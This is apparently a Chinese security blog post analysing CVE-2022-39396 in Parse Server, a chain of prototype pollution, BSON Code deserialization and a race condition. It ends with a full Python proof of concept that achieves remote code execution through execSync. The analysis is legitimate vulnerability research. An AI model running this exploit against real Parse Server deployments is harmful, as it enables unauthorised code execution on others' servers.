Parse-server@CVE-2022-39396分析
2022-12-19 00:0:0 Author: hpdoger.cn(查看原文) 阅读量:19 收藏

Parse Server 用来解析并存储JSON对象的平台,可以作为express中间件或者Web Server 独立运行。云上应该很多业务拿这个SDK搞Serverless

根据公告,只有部分版本收到影响,且漏洞需要已知APPLICATION_ID (通常存储在配置文件或环境变量)

Untitled

复现的话推荐使用官方安装方式,笔者本地[email protected]

Untitled

一个简单保存对象到后端Mongo数据库的例子如下
Untitled

Parse-server为了防止用户传入一些恶意的JSON属性值做了一些限制,先来看一下。定位到lib/RestWrite.js#79 ,在创建对象解析时有默认黑名单requestKeywordDenylist限制

Untitled

当用户传递的对象字符串不满足requestKeywordDenylist的检查时会被程序抛出异常

Untitled

同时对传入的外层对象进行属性名的正则判断,不允许_开头的字符串,比如_bsontype这样的字段

Untitled

0x01-BSON反序列化

首先我们通过commit来看,作者增加createHandler函数代码功能,对HTTP请求参数metadatatags进行requestKeywordDenylist检查,同上文正常创建Object的安全检查保持一直。createHandlerparse/files/:filename的路由函数

Untitled

再来看作者为了测试修补写的check-demo,应该能猜出上图的metadata参数就对应下图中obj这样的对象

Untitled

简单阅读parse-server对http参数req.fileData的赋值,不难构造出这样的POST请求

Untitled

发送请求后会在mongodb数据库的fs.files集合中生成下图所示的数据项,metadata字段为用户传递的POST参数,这些数据都经过BSON序列化处理

Untitled

当我们通过/parse/files/exampleAppId/metadata/1ad79f676c84e1cdffbe37a8e650c469_RCE1.json 端点访问parse-server时,其会去mongodb中取出我们前文存储的Object序列化数据

Untitled

既然有序列化存储,必然就有反序列化处理。从node处理mongodb返回结果的代码node_modules/bson/lib/bson/parser/deserializer.js 中,node获取BSON序列化的数据项并对其进行deserializeObject反序列化函数的处理,整个过程是递归deserializeObject的。

Untitled

若上图中evalFunctions不为空则步入isolateEval函数,对functionString参数进行任意代码执行

Untitled

那参数functionString如何生成呢?这和序列化的输入有关。

假如用户需要向mongodb数据集的某列中添加Objectnode会先检查Object是否存在_bsontype属性,再对不同类型的_bsontype进行序列化数据生成,比如定义标识符、索引……这点我们可以结合下图serializeCode函数来看,那么functionString就对应了_bsontypeCode时的序列化数据

Untitled

也就是说,攻击者要能够对mongodb数据集插入可控的对象,并指定_bsontype字段,同时也要让程序反序列化这个BSON数据,前文提到的/parse/files/:filename路由就可以插入可控对象metadata/parse/files/metadata/:filename能够获取并反序列化这个对象,完全满足需求。剩下的工作就是找到一个原型链污染来满足evalFunctionstrue的条件

0x02-原型链污染

src/Adapters/Storage/Mongo/MongoTransform.js代码中transformUpdate函数用来更新用户http请求传递的json对象到mongodb

const transformUpdate = (className, restUpdate, parseFormatSchema) => {
  const mongoUpdate = {};
    ....
    var out = transformKeyValueForUpdate(
      className,
      restKey,
      restUpdate[restKey],
      parseFormatSchema
    );
    if (typeof out.value === 'object' && out.value !== null && out.value.__op) {
          mongoUpdate[out.value.__op] = mongoUpdate[out.value.__op] || {};
          mongoUpdate[out.value.__op][out.key] = out.value.arg;
        } else {
          mongoUpdate['$set'] = mongoUpdate['$set'] || {};
          mongoUpdate['$set'][out.key] = out.value;
        }
      }

      return mongoUpdate;
}

restKeyrestUpdate参数是用户的POST输入,out.value在经过transformKeyValueForUpdate函数处理后能够被用户部分可控

Untitled

如果我们要达到前文(0x01部分)的污染利用,需要构造如下的条件

  • out.value._op = __proto_\
  • out.key = evalFunctions
  • out.value.arg = true

然而程序内函数getObjectType严格检查了对象传递的键名,不允许__op键存在白名单以外的键值

Untitled

继续深追transformKeyValueForUpdate 这个生成out对象的函数,在第#108行调用了transformTopLevelAtom函数,用来将传递的对象进行Toplevel处理。换句话说就是当用户传递的对象成员包含其他对象时,满足Atom类型的判断后,其他对象会被提升至Toplevel

Untitled

步入transformTopLevelAtom 不难发现它实现的逻辑是判断该JSON对象属于哪类JSONCoder,而判别的依据xxCoder.isValidJSON的逻辑更简单,它完全信任用户传递的对象类型__type字段。

function transformTopLevelAtom(atom, field) {
if (atom.__type == 'Pointer') {
        return `${atom.className}$${atom.objectId}`;
      }
      if (DateCoder.isValidJSON(atom)) {
        return DateCoder.JSONToDatabase(atom);
      }
      if (BytesCoder.isValidJSON(atom)) {
        return BytesCoder.JSONToDatabase(atom);
      }
      if (GeoPointCoder.isValidJSON(atom)) {
        return GeoPointCoder.JSONToDatabase(atom);
      }
      if (PolygonCoder.isValidJSON(atom)) {
        return PolygonCoder.JSONToDatabase(atom);
      }
      if (FileCoder.isValidJSON(atom)) {
        return FileCoder.JSONToDatabase(atom);
      }
    }
}

isValidJSON(value) {
    return typeof value === 'object' && value !== null && value.__type === 'File';
  },

JSONToDatabase(json) {
    return json.name;
  },

我们以FileCoder为例,若用户传递对象的__type字段值为File,那么将返回该对象的name字段作为新的out.value,简单发送PUT请求验证

PUT /parse/classes/RCE1/1 HTTP/1.1
Host: 192.168.56.200:1337
X-Parse-Application-Id: exampleAppId
Content-Type: application/json
Content-Length: 103

{
    "evalFunctions":{
        "__type":"File",
        "name":{
            "__op":"__proto__",
            "arg":true
        }
    }
}

Untitled

成功达到我们需要的条件,污染了原型链

0x03-BSON解析错误的问题

我们都知道,原型链污染对NodeJS运行的Server有不可估计的影响,因为我们不知道程序是否在关键的地方遍历了Object,再执行某些玄学的取值/赋值表达式。那么污染的property很可能会给整个程序带来undefined等致命的fatal error,不巧的是BSON序列化数据并发送给Mongodb进行交互时就存在这样的问题。

node是如何封装发给Mongodb的BSON数据呢?首先建立一个Buffer缓冲区,将所有要发送的JSON对象序列化为BSON数据后塞入Buffer缓冲区。而遍历JSON对象是用in取值实现的,这样就会取到原型链的属性。

Untitled

接着判断属性值的类型并进行serializeBooleanserializeNumberserializeStringserializeDateserializeObjectId等操作,代码逻辑是将属性写入缓冲区,并且在缓冲区对应位置标记该数据类型。

Untitled

这样序列化后的结果就是将原型链的属性也添加进缓冲区,一并发送给Mongodb

Untitled

Mongodb在执行原语时并不会无视多余字段,所以mongodb服务端会造成异常,并终止后续数据库操作。设想我们已经污染了原型链的evalFunctions属性,此时服务端在执行db.collection('fs.files').findOne({id: '639eedaf0ca89ef5a0e4d4ed'})这样的语句后会爆出下图错误(OperationSessionInfo可能类似每次Client握手的原语对象,具体原因需要看mongoServer代码)

Untitled

换句话说,如果我们向原型链添加一个属性后,后续的所有mongodb操作都会被服务端阻断,而且这相当于把服务端直接打挂了。可我们拿不到服务端返回的数据就没办法BSON反序列化,看似是个死锁的问题……但没有关系,条件竞争会出手:

1、创建恶意的BSON对象存入mongodb数据库

2、多线程发送mongodb查询请求,期待获得mongodb返回给我们的bson序列化数据

3、发送原型链污染请求

4、恰好某个线程返回了bson序列化的数据到node的同时evalFunctions又被污染导致RCE,在RCE的语句中写入delete Object.prototype.evalFunctions,清除后续原型链的影响

import random
import requests
from concurrent.futures import ThreadPoolExecutor, wait

# upload bad BSON data to MongoDB
def upload(host, port, appid, payload):
    burp0_url = f"http://{host}:{port}/parse/files/{str(random.randint(1, 100))}"
    burp0_headers = {"Cache-Control": "max-age=0", "Content-Type": "application/json"}
    burp0_json = {"_ApplicationId": appid, "base64": "hpdoger", "fileData": {"metadata": {
        "obj": {"_bsontype": "Code",
                "code": payload}}}}
    try:
        resp = requests.post(burp0_url, headers=burp0_headers, json=burp0_json).json()
        return resp["url"]
    except Exception as e:
        print(e)
        return None

# prototype pollution
def pollution(host, port, appid):
    burp0_url = f"http://{host}:{port}/parse/classes/RCE1/{str(random.randint(1, 100))}"
    burp0_headers = {"X-Parse-Application-Id": appid, "Content-Type": "application/json"}
    burp0_json = {"evalFunctions": {"__type": "File", "name": {"__op": "__proto__", "arg": True}}}
    requests.put(burp0_url, headers=burp0_headers, json=burp0_json)

# trigger RCE and to be thread competitive
def trigger(appid, url):
    burp0_headers = {"X-Parse-Application-Id": appid}
    requests.get(url, headers=burp0_headers)

if __name__ == '__main__':
    host = "192.168.56.200"
    port = "1337"
    appid = "exampleAppId"
    payload = "1;require('child_process').execSync('touch /tmp/pwned');delete Object.prototype.evalFunctions"

    trigger_url = upload(host, port, appid, payload)
    assert trigger_url is not None, "upload failed"

    # Create a thread pool with 4 worker threads
    with ThreadPoolExecutor(max_workers=300) as executor:
        # Start the load operations and mark each future with its URL
        executor.submit(pollution, host, port, appid)
        for _ in range(299):
            executor.submit(trigger, appid, trigger_url)

    print("[+]current task finished")

默认全局搜索代码段会将node_modules目录排除,即使你搜索整个项目的根目录也不会产生结果,需要右键node_modules目录并将其标记为mark as excluded 即可

Untitled


文章来源: https://hpdoger.cn/2022/12/19/parse-server%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%20c34843006f3741189cc953e8b35b13e9/
如有侵权请联系:admin#unsafe.sh